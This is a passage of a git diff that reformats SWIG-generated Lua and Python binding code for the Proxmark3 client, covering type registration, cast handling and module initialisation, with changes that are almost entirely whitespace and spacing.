constructor */ - lua_call(L, lua_gettop(L) - 1, 1); + assert(lua_istable(L,1)); + lua_pushcfunction(L,_wrap_new_pm3); + assert(!lua_isnil(L,-1)); + lua_replace(L,1); /* replace our table with real constructor */ + lua_call(L,lua_gettop(L)-1,1); return 1; } static swig_lua_attribute swig_pm3_attributes[] = { { "name", _wrap_pm3_name_get, SWIG_Lua_set_immutable }, { "grabbed_output", _wrap_pm3_grabbed_output_get, SWIG_Lua_set_immutable }, - {0, 0, 0} + {0,0,0} }; -static swig_lua_method swig_pm3_methods[] = { +static swig_lua_method swig_pm3_methods[]= { { "console", _wrap_pm3_console}, - {0, 0} + {0,0} }; static swig_lua_method swig_pm3_meta[] = { - {0, 0} + {0,0} }; static swig_lua_attribute swig_pm3_Sf_SwigStatic_attributes[] = { - {0, 0, 0} + {0,0,0} }; -static swig_lua_const_info swig_pm3_Sf_SwigStatic_constants[] = { - {0, 0, 0, 0, 0, 0} +static swig_lua_const_info swig_pm3_Sf_SwigStatic_constants[]= { + {0,0,0,0,0,0} }; -static swig_lua_method swig_pm3_Sf_SwigStatic_methods[] = { - {0, 0} +static swig_lua_method swig_pm3_Sf_SwigStatic_methods[]= { + {0,0} }; -static swig_lua_class *swig_pm3_Sf_SwigStatic_classes[] = { +static swig_lua_class* swig_pm3_Sf_SwigStatic_classes[]= { 0 }; @@ -2892,22 +2971,22 @@ static swig_lua_namespace swig_pm3_Sf_SwigStatic = { }; static swig_lua_class *swig_pm3_bases[] = {0}; static const char *swig_pm3_base_names[] = {0}; -static swig_lua_class _wrap_class_pm3 = { "pm3", "pm3", &SWIGTYPE_p_pm3, _proxy__wrap_new_pm3, swig_delete_pm3, swig_pm3_methods, swig_pm3_attributes, &swig_pm3_Sf_SwigStatic, swig_pm3_meta, swig_pm3_bases, swig_pm3_base_names }; +static swig_lua_class _wrap_class_pm3 = { "pm3", "pm3", &SWIGTYPE_p_pm3,_proxy__wrap_new_pm3, swig_delete_pm3, swig_pm3_methods, swig_pm3_attributes, &swig_pm3_Sf_SwigStatic, swig_pm3_meta, swig_pm3_bases, swig_pm3_base_names }; static swig_lua_attribute swig_SwigModule_attributes[] = { - {0, 0, 0} + {0,0,0} }; -static swig_lua_const_info swig_SwigModule_constants[] = { - {0, 0, 0, 0, 0, 0} +static swig_lua_const_info swig_SwigModule_constants[]= { + {0,0,0,0,0,0} }; -static swig_lua_method swig_SwigModule_methods[] = { - {0, 0} +static swig_lua_method swig_SwigModule_methods[]= { + {0,0} }; -static swig_lua_class *swig_SwigModule_classes[] = { - &_wrap_class_pm3, +static swig_lua_class* swig_SwigModule_classes[]= { +&_wrap_class_pm3, 0 }; -static swig_lua_namespace *swig_SwigModule_namespaces[] = { +static swig_lua_namespace* swig_SwigModule_namespaces[] = { 0 }; @@ -2925,16 +3004,16 @@ static swig_lua_namespace swig_SwigModule = { /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ -static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void *) &_wrap_class_pm3, 0}; +static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void*)&_wrap_class_pm3, 0}; static swig_type_info *swig_type_initial[] = { - &_swigt__p_pm3, + &_swigt__p_pm3, }; -static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0}, {0, 0, 0, 0}}; +static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info *swig_cast_initial[] = { - _swigc__p_pm3, + _swigc__p_pm3, }; @@ -2998,144 +3077,144 @@ extern "C" { SWIGRUNTIME void SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { - size_t i; - swig_module_info *module_head, *iter; - int init; + size_t i; + swig_module_info *module_head, *iter; + int init; - /* check to see if the circular list has been setup, if not, set it up */ - if (swig_module.next == 0) { - /* Initialize the swig_module */ - swig_module.type_initial = swig_type_initial; - swig_module.cast_initial = swig_cast_initial; - swig_module.next = &swig_module; - init = 1; + /* check to see if the circular list has been setup, if not, set it up */ + if (swig_module.next==0) { + /* Initialize the swig_module */ + swig_module.type_initial = swig_type_initial; + swig_module.cast_initial = swig_cast_initial; + swig_module.next = &swig_module; + init = 1; + } else { + init = 0; + } + + /* Try and load any already created modules */ + module_head = SWIG_GetModule(clientdata); + if (!module_head) { + /* This is the first module loaded for this interpreter */ + /* so set the swig module into the interpreter */ + SWIG_SetModule(clientdata, &swig_module); + } else { + /* the interpreter has loaded a SWIG module, but has it loaded this one? */ + iter=module_head; + do { + if (iter==&swig_module) { + /* Our module is already in the list, so there's nothing more to do. */ + return; + } + iter=iter->next; + } while (iter!= module_head); + + /* otherwise we must add our module into the list */ + swig_module.next = module_head->next; + module_head->next = &swig_module; + } + + /* When multiple interpreters are used, a module could have already been initialized in + a different interpreter, but not yet have a pointer in this interpreter. + In this case, we do not want to continue adding types... everything should be + set up already */ + if (init == 0) return; + + /* Now work on filling in swig_module.types */ +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); +#endif + for (i = 0; i < swig_module.size; ++i) { + swig_type_info *type = 0; + swig_type_info *ret; + swig_cast_info *cast; + +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); +#endif + + /* if there is another module already loaded */ + if (swig_module.next != &swig_module) { + type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); + } + if (type) { + /* Overwrite clientdata field */ +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found type %s\n", type->name); +#endif + if (swig_module.type_initial[i]->clientdata) { + type->clientdata = swig_module.type_initial[i]->clientdata; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); +#endif + } } else { - init = 0; + type = swig_module.type_initial[i]; } - /* Try and load any already created modules */ - module_head = SWIG_GetModule(clientdata); - if (!module_head) { - /* This is the first module loaded for this interpreter */ - /* so set the swig module into the interpreter */ - SWIG_SetModule(clientdata, &swig_module); - } else { - /* the interpreter has loaded a SWIG module, but has it loaded this one? */ - iter = module_head; - do { - if (iter == &swig_module) { - /* Our module is already in the list, so there's nothing more to do. */ - return; - } - iter = iter->next; - } while (iter != module_head); + /* Insert casting types */ + cast = swig_module.cast_initial[i]; + while (cast->type) { - /* otherwise we must add our module into the list */ - swig_module.next = module_head->next; - module_head->next = &swig_module; + /* Don't need to add information already in the list */ + ret = 0; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); +#endif + if (swig_module.next != &swig_module) { + ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); +#ifdef SWIGRUNTIME_DEBUG + if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); +#endif + } + if (ret) { + if (type == swig_module.type_initial[i]) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: skip old type %s\n", ret->name); +#endif + cast->type = ret; + ret = 0; + } else { + /* Check for casting already in the list */ + swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); +#ifdef SWIGRUNTIME_DEBUG + if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); +#endif + if (!ocast) ret = 0; + } + } + + if (!ret) { +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); +#endif + if (type->cast) { + type->cast->prev = cast; + cast->next = type->cast; + } + type->cast = cast; + } + cast++; } - - /* When multiple interpreters are used, a module could have already been initialized in - a different interpreter, but not yet have a pointer in this interpreter. - In this case, we do not want to continue adding types... everything should be - set up already */ - if (init == 0) return; - - /* Now work on filling in swig_module.types */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); -#endif - for (i = 0; i < swig_module.size; ++i) { - swig_type_info *type = 0; - swig_type_info *ret; - swig_cast_info *cast; + /* Set entry in modules->types array equal to the type */ + swig_module.types[i] = type; + } + swig_module.types[i] = 0; #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); -#endif - - /* if there is another module already loaded */ - if (swig_module.next != &swig_module) { - type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); - } - if (type) { - /* Overwrite clientdata field */ -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found type %s\n", type->name); -#endif - if (swig_module.type_initial[i]->clientdata) { - type->clientdata = swig_module.type_initial[i]->clientdata; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); -#endif - } - } else { - type = swig_module.type_initial[i]; - } - - /* Insert casting types */ - cast = swig_module.cast_initial[i]; - while (cast->type) { - - /* Don't need to add information already in the list */ - ret = 0; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); -#endif - if (swig_module.next != &swig_module) { - ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); -#ifdef SWIGRUNTIME_DEBUG - if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); -#endif - } - if (ret) { - if (type == swig_module.type_initial[i]) { -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: skip old type %s\n", ret->name); -#endif - cast->type = ret; - ret = 0; - } else { - /* Check for casting already in the list */ - swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); -#ifdef SWIGRUNTIME_DEBUG - if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); -#endif - if (!ocast) ret = 0; - } - } - - if (!ret) { -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); -#endif - if (type->cast) { - type->cast->prev = cast; - cast->next = type->cast; - } - type->cast = cast; - } - cast++; - } - /* Set entry in modules->types array equal to the type */ - swig_module.types[i] = type; + printf("**** SWIG_InitializeModule: Cast List ******\n"); + for (i = 0; i < swig_module.size; ++i) { + int j = 0; + swig_cast_info *cast = swig_module.cast_initial[i]; + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); + while (cast->type) { + printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); + cast++; + ++j; } - swig_module.types[i] = 0; - -#ifdef SWIGRUNTIME_DEBUG - printf("**** SWIG_InitializeModule: Cast List ******\n"); - for (i = 0; i < swig_module.size; ++i) { - int j = 0; - swig_cast_info *cast = swig_module.cast_initial[i]; - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); - while (cast->type) { - printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); - cast++; - ++j; - } - printf("---- Total casts: %d\n", j); - } - printf("**** SWIG_InitializeModule: Cast List ******\n"); + printf("---- Total casts: %d\n",j); + } + printf("**** SWIG_InitializeModule: Cast List ******\n"); #endif } @@ -3146,31 +3225,30 @@ SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { */ SWIGRUNTIME void SWIG_PropagateClientData(void) { - size_t i; - swig_cast_info *equiv; - static int init_run = 0; + size_t i; + swig_cast_info *equiv; + static int init_run = 0; - if (init_run) return; - init_run = 1; + if (init_run) return; + init_run = 1; - for (i = 0; i < swig_module.size; i++) { - if (swig_module.types[i]->clientdata) { - equiv = swig_module.types[i]->cast; - while (equiv) { - if (!equiv->converter) { - if (equiv->type && !equiv->type->clientdata) - SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); - } - equiv = equiv->next; - } + for (i = 0; i < swig_module.size; i++) { + if (swig_module.types[i]->clientdata) { + equiv = swig_module.types[i]->cast; + while (equiv) { + if (!equiv->converter) { + if (equiv->type && !equiv->type->clientdata) + SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); } + equiv = equiv->next; + } } + } } #ifdef __cplusplus #if 0 -{ - /* c-mode */ +{ /* c-mode */ #endif } #endif @@ -3178,8 +3256,8 @@ SWIG_PropagateClientData(void) { /* Forward declaration of where the user's %init{} gets inserted */ -void SWIG_init_user(lua_State *L); - +void SWIG_init_user(lua_State* L ); + #ifdef __cplusplus extern "C" { #endif @@ -3188,74 +3266,74 @@ extern "C" { the function is always called SWIG_init, but an earlier #define will rename it */ #if ((SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC)) -LUALIB_API int SWIG_init(lua_State *L) +LUALIB_API int SWIG_init(lua_State* L) #else -SWIGEXPORT int SWIG_init(lua_State *L) /* default Lua action */ +SWIGEXPORT int SWIG_init(lua_State* L) /* default Lua action */ #endif { #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) /* valid for both Lua and eLua */ - int i; - int globalRegister = 0; - /* start with global table */ - lua_pushglobaltable(L); - /* SWIG's internal initialisation */ - SWIG_InitializeModule((void *)L); - SWIG_PropagateClientData(); + int i; + int globalRegister = 0; + /* start with global table */ + lua_pushglobaltable (L); + /* SWIG's internal initialisation */ + SWIG_InitializeModule((void*)L); + SWIG_PropagateClientData(); #endif #if ((SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUA) && (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC)) || defined(SWIG_LUA_ELUA_EMULATE) - /* add a global fn */ - SWIG_Lua_add_function(L, "swig_type", SWIG_Lua_type); - SWIG_Lua_add_function(L, "swig_equals", SWIG_Lua_class_equal); + /* add a global fn */ + SWIG_Lua_add_function(L,"swig_type",SWIG_Lua_type); + SWIG_Lua_add_function(L,"swig_equals",SWIG_Lua_class_equal); #endif #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - /* set up base class pointers (the hierarchy) */ - for (i = 0; swig_types[i]; i++) { - if (swig_types[i]->clientdata) { - SWIG_Lua_init_base_class(L, (swig_lua_class *)(swig_types[i]->clientdata)); - } + /* set up base class pointers (the hierarchy) */ + for (i = 0; swig_types[i]; i++){ + if (swig_types[i]->clientdata){ + SWIG_Lua_init_base_class(L,(swig_lua_class*)(swig_types[i]->clientdata)); } + } #ifdef SWIG_LUA_MODULE_GLOBAL - globalRegister = 1; + globalRegister = 1; #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - SWIG_Lua_namespace_register(L, &swig_SwigModule, globalRegister); + SWIG_Lua_namespace_register(L,&swig_SwigModule, globalRegister); #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) - for (i = 0; swig_types[i]; i++) { - if (swig_types[i]->clientdata) { - SWIG_Lua_elua_class_register_instance(L, (swig_lua_class *)(swig_types[i]->clientdata)); - } + for (i = 0; swig_types[i]; i++){ + if (swig_types[i]->clientdata){ + SWIG_Lua_elua_class_register_instance(L,(swig_lua_class*)(swig_types[i]->clientdata)); } + } #endif #if defined(SWIG_LUA_ELUA_EMULATE) - lua_newtable(L); - SWIG_Lua_elua_emulate_register(L, swig_SwigModule.ns_methods); - SWIG_Lua_elua_emulate_register_clear(L); - if (globalRegister) { - lua_pushstring(L, swig_SwigModule.name); - lua_pushvalue(L, -2); - lua_rawset(L, -4); - } + lua_newtable(L); + SWIG_Lua_elua_emulate_register(L,swig_SwigModule.ns_methods); + SWIG_Lua_elua_emulate_register_clear(L); + if(globalRegister) { + lua_pushstring(L,swig_SwigModule.name); + lua_pushvalue(L,-2); + lua_rawset(L,-4); + } #endif #endif #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - /* invoke user-specific initialization */ - SWIG_init_user(L); - /* end module */ - /* Note: We do not clean up the stack here (Lua will do this for us). At this - point, we have the globals table and out module table on the stack. Returning - one value makes the module table the result of the require command. */ - return 1; + /* invoke user-specific initialization */ + SWIG_init_user(L); + /* end module */ + /* Note: We do not clean up the stack here (Lua will do this for us). At this + point, we have the globals table and out module table on the stack. Returning + one value makes the module table the result of the require command. */ + return 1; #else - return 0; + return 0; #endif } @@ -3264,11 +3342,12 @@ SWIGEXPORT int SWIG_init(lua_State *L) /* default Lua action */ #endif -const char *SWIG_LUACODE = - ""; +const char* SWIG_LUACODE= + ""; -void SWIG_init_user(lua_State *L) { - /* exec Lua code if applicable */ - SWIG_Lua_dostring(L, SWIG_LUACODE); +void SWIG_init_user(lua_State* L) +{ + /* exec Lua code if applicable */ + SWIG_Lua_dostring(L,SWIG_LUACODE); } diff --git a/client/src/pm3_pywrap.c b/client/src/pm3_pywrap.c index 93a26e2d0..6180a8771 100644 --- a/client/src/pm3_pywrap.c +++ b/client/src/pm3_pywrap.c @@ -139,7 +139,7 @@ # define SWIG_NULLPTR nullptr #else # define SWIG_NULLPTR NULL -#endif +#endif /* ----------------------------------------------------------------------------- * swigcompat.swg @@ -377,10 +377,10 @@ # define SWIG_CASTRANKMASK ((SWIG_CASTRANKLIMIT) -1) # define SWIG_CastRank(r) (r & SWIG_CASTRANKMASK) SWIGINTERNINLINE int SWIG_AddCast(int r) { - return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; + return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r; } SWIGINTERNINLINE int SWIG_CheckState(int r) { - return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; + return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; } #else /* no cast-rank mode */ # define SWIG_AddCast(r) (r) @@ -399,32 +399,32 @@ typedef struct swig_type_info *(*swig_dycast_func)(void **); /* Structure to store information on one type */ typedef struct swig_type_info { - const char *name; /* mangled name of this type */ - const char *str; /* human readable name of this type */ - swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ - struct swig_cast_info *cast; /* linked list of types that can cast into this type */ - void *clientdata; /* language specific type data */ - int owndata; /* flag if the structure owns the clientdata */ + const char *name; /* mangled name of this type */ + const char *str; /* human readable name of this type */ + swig_dycast_func dcast; /* dynamic cast function down a hierarchy */ + struct swig_cast_info *cast; /* linked list of types that can cast into this type */ + void *clientdata; /* language specific type data */ + int owndata; /* flag if the structure owns the clientdata */ } swig_type_info; /* Structure to store a type and conversion function used for casting */ typedef struct swig_cast_info { - swig_type_info *type; /* pointer to type that is equivalent to this type */ - swig_converter_func converter; /* function to cast the void pointers */ - struct swig_cast_info *next; /* pointer to next cast in linked list */ - struct swig_cast_info *prev; /* pointer to the previous cast */ + swig_type_info *type; /* pointer to type that is equivalent to this type */ + swig_converter_func converter; /* function to cast the void pointers */ + struct swig_cast_info *next; /* pointer to next cast in linked list */ + struct swig_cast_info *prev; /* pointer to the previous cast */ } swig_cast_info; /* Structure used to store module information * Each module generates one structure like this, and the runtime collects * all of these structures and stores them in a circularly linked list.*/ typedef struct swig_module_info { - swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ - size_t size; /* Number of types in this module */ - struct swig_module_info *next; /* Pointer to next element in circularly linked list */ - swig_type_info **type_initial; /* Array of initially generated type structures */ - swig_cast_info **cast_initial; /* Array of initially generated casting structures */ - void *clientdata; /* Language specific module data */ + swig_type_info **types; /* Array of pointers to swig_type_info structures that are in this module */ + size_t size; /* Number of types in this module */ + struct swig_module_info *next; /* Pointer to next element in circularly linked list */ + swig_type_info **type_initial; /* Array of initially generated type structures */ + swig_cast_info **cast_initial; /* Array of initially generated casting structures */ + void *clientdata; /* Language specific module data */ } swig_module_info; /* @@ -436,13 +436,13 @@ typedef struct swig_module_info { */ SWIGRUNTIME int SWIG_TypeNameComp(const char *f1, const char *l1, - const char *f2, const char *l2) { - for (; (f1 != l1) && (f2 != l2); ++f1, ++f2) { - while ((*f1 == ' ') && (f1 != l1)) ++f1; - while ((*f2 == ' ') && (f2 != l2)) ++f2; - if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; - } - return (int)((l1 - f1) - (l2 - f2)); + const char *f2, const char *l2) { + for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) { + while ((*f1 == ' ') && (f1 != l1)) ++f1; + while ((*f2 == ' ') && (f2 != l2)) ++f2; + if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1; + } + return (int)((l1 - f1) - (l2 - f2)); } /* @@ -451,17 +451,17 @@ SWIG_TypeNameComp(const char *f1, const char *l1, */ SWIGRUNTIME int SWIG_TypeCmp(const char *nb, const char *tb) { - int equiv = 1; - const char *te = tb + strlen(tb); - const char *ne = nb; - while (equiv != 0 && *ne) { - for (nb = ne; *ne; ++ne) { - if (*ne == '|') break; - } - equiv = SWIG_TypeNameComp(nb, ne, tb, te); - if (*ne) ++ne; + int equiv = 1; + const char* te = tb + strlen(tb); + const char* ne = nb; + while (equiv != 0 && *ne) { + for (nb = ne; *ne; ++ne) { + if (*ne == '|') break; } - return equiv; + equiv = SWIG_TypeNameComp(nb, ne, tb, te); + if (*ne) ++ne; + } + return equiv; } /* @@ -470,7 +470,7 @@ SWIG_TypeCmp(const char *nb, const char *tb) { */ SWIGRUNTIME int SWIG_TypeEquiv(const char *nb, const char *tb) { - return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; + return SWIG_TypeCmp(nb, tb) == 0 ? 1 : 0; } /* @@ -478,26 +478,26 @@ SWIG_TypeEquiv(const char *nb, const char *tb) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheck(const char *c, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (strcmp(iter->type->name, c) == 0) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; - } + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (strcmp(iter->type->name, c) == 0) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; } - return 0; + } + return 0; } /* @@ -505,26 +505,26 @@ SWIG_TypeCheck(const char *c, swig_type_info *ty) { */ SWIGRUNTIME swig_cast_info * SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { - if (ty) { - swig_cast_info *iter = ty->cast; - while (iter) { - if (iter->type == from) { - if (iter == ty->cast) - return iter; - /* Move iter to the top of the linked list */ - iter->prev->next = iter->next; - if (iter->next) - iter->next->prev = iter->prev; - iter->next = ty->cast; - iter->prev = 0; - if (ty->cast) ty->cast->prev = iter; - ty->cast = iter; - return iter; - } - iter = iter->next; - } + if (ty) { + swig_cast_info *iter = ty->cast; + while (iter) { + if (iter->type == from) { + if (iter == ty->cast) + return iter; + /* Move iter to the top of the linked list */ + iter->prev->next = iter->next; + if (iter->next) + iter->next->prev = iter->prev; + iter->next = ty->cast; + iter->prev = 0; + if (ty->cast) ty->cast->prev = iter; + ty->cast = iter; + return iter; + } + iter = iter->next; } - return 0; + } + return 0; } /* @@ -532,7 +532,7 @@ SWIG_TypeCheckStruct(const swig_type_info *from, swig_type_info *ty) { */ SWIGRUNTIMEINLINE void * SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { - return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); + return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory); } /* @@ -540,13 +540,13 @@ SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) { */ SWIGRUNTIME swig_type_info * SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { - swig_type_info *lastty = ty; - if (!ty || !ty->dcast) return ty; - while (ty && (ty->dcast)) { - ty = (*ty->dcast)(ptr); - if (ty) lastty = ty; - } - return lastty; + swig_type_info *lastty = ty; + if (!ty || !ty->dcast) return ty; + while (ty && (ty->dcast)) { + ty = (*ty->dcast)(ptr); + if (ty) lastty = ty; + } + return lastty; } /* @@ -554,7 +554,7 @@ SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) { */ SWIGRUNTIMEINLINE const char * SWIG_TypeName(const swig_type_info *ty) { - return ty->name; + return ty->name; } /* @@ -563,19 +563,20 @@ SWIG_TypeName(const swig_type_info *ty) { */ SWIGRUNTIME const char * SWIG_TypePrettyName(const swig_type_info *type) { - /* The "str" field contains the equivalent pretty names of the - type, separated by vertical-bar characters. Choose the last - name. It should be the most specific; a fully resolved name - but not necessarily with default template parameters expanded. */ - if (!type) return NULL; - if (type->str != NULL) { - const char *last_name = type->str; - const char *s; - for (s = type->str; *s; s++) - if (*s == '|') last_name = s + 1; - return last_name; - } else - return type->name; + /* The "str" field contains the equivalent pretty names of the + type, separated by vertical-bar characters. Choose the last + name. It should be the most specific; a fully resolved name + but not necessarily with default template parameters expanded. */ + if (!type) return NULL; + if (type->str != NULL) { + const char *last_name = type->str; + const char *s; + for (s = type->str; *s; s++) + if (*s == '|') last_name = s+1; + return last_name; + } + else + return type->name; } /* @@ -583,24 +584,24 @@ SWIG_TypePrettyName(const swig_type_info *type) { */ SWIGRUNTIME void SWIG_TypeClientData(swig_type_info *ti, void *clientdata) { - swig_cast_info *cast = ti->cast; - /* if (ti->clientdata == clientdata) return; */ - ti->clientdata = clientdata; + swig_cast_info *cast = ti->cast; + /* if (ti->clientdata == clientdata) return; */ + ti->clientdata = clientdata; - while (cast) { - if (!cast->converter) { - swig_type_info *tc = cast->type; - if (!tc->clientdata) { - SWIG_TypeClientData(tc, clientdata); - } - } - cast = cast->next; + while (cast) { + if (!cast->converter) { + swig_type_info *tc = cast->type; + if (!tc->clientdata) { + SWIG_TypeClientData(tc, clientdata); + } } + cast = cast->next; + } } SWIGRUNTIME void SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { - SWIG_TypeClientData(ti, clientdata); - ti->owndata = 1; + SWIG_TypeClientData(ti, clientdata); + ti->owndata = 1; } /* @@ -614,37 +615,37 @@ SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) { SWIGRUNTIME swig_type_info * SWIG_MangledTypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - swig_module_info *iter = start; - do { - if (iter->size) { - size_t l = 0; - size_t r = iter->size - 1; - do { - /* since l+r >= 0, we can (>> 1) instead (/ 2) */ - size_t i = (l + r) >> 1; - const char *iname = iter->types[i]->name; - if (iname) { - int compare = strcmp(name, iname); - if (compare == 0) { - return iter->types[i]; - } else if (compare < 0) { - if (i) { - r = i - 1; - } else { - break; - } - } else if (compare > 0) { - l = i + 1; - } - } else { - break; /* should never happen */ - } - } while (l <= r); - } - iter = iter->next; - } while (iter != end); - return 0; + const char *name) { + swig_module_info *iter = start; + do { + if (iter->size) { + size_t l = 0; + size_t r = iter->size - 1; + do { + /* since l+r >= 0, we can (>> 1) instead (/ 2) */ + size_t i = (l + r) >> 1; + const char *iname = iter->types[i]->name; + if (iname) { + int compare = strcmp(name, iname); + if (compare == 0) { + return iter->types[i]; + } else if (compare < 0) { + if (i) { + r = i - 1; + } else { + break; + } + } else if (compare > 0) { + l = i + 1; + } + } else { + break; /* should never happen */ + } + } while (l <= r); + } + iter = iter->next; + } while (iter != end); + return 0; } /* @@ -659,27 +660,27 @@ SWIG_MangledTypeQueryModule(swig_module_info *start, SWIGRUNTIME swig_type_info * SWIG_TypeQueryModule(swig_module_info *start, swig_module_info *end, - const char *name) { - /* STEP 1: Search the name field using binary search */ - swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); - if (ret) { - return ret; - } else { - /* STEP 2: If the type hasn't been found, do a complete search - of the str field (the human readable name) */ - swig_module_info *iter = start; - do { - size_t i = 0; - for (; i < iter->size; ++i) { - if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) - return iter->types[i]; - } - iter = iter->next; - } while (iter != end); - } + const char *name) { + /* STEP 1: Search the name field using binary search */ + swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name); + if (ret) { + return ret; + } else { + /* STEP 2: If the type hasn't been found, do a complete search + of the str field (the human readable name) */ + swig_module_info *iter = start; + do { + size_t i = 0; + for (; i < iter->size; ++i) { + if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name))) + return iter->types[i]; + } + iter = iter->next; + } while (iter != end); + } - /* neither found a match */ - return 0; + /* neither found a match */ + return 0; } /* @@ -687,15 +688,15 @@ SWIG_TypeQueryModule(swig_module_info *start, */ SWIGRUNTIME char * SWIG_PackData(char *c, void *ptr, size_t sz) { - static const char hex[17] = "0123456789abcdef"; - const unsigned char *u = (unsigned char *) ptr; - const unsigned char *eu = u + sz; - for (; u != eu; ++u) { - unsigned char uu = *u; - *(c++) = hex[(uu & 0xf0) >> 4]; - *(c++) = hex[uu & 0xf]; - } - return c; + static const char hex[17] = "0123456789abcdef"; + const unsigned char *u = (unsigned char *) ptr; + const unsigned char *eu = u + sz; + for (; u != eu; ++u) { + unsigned char uu = *u; + *(c++) = hex[(uu & 0xf0) >> 4]; + *(c++) = hex[uu & 0xf]; + } + return c; } /* @@ -703,27 +704,27 @@ SWIG_PackData(char *c, void *ptr, size_t sz) { */ SWIGRUNTIME const char * SWIG_UnpackData(const char *c, void *ptr, size_t sz) { - unsigned char *u = (unsigned char *) 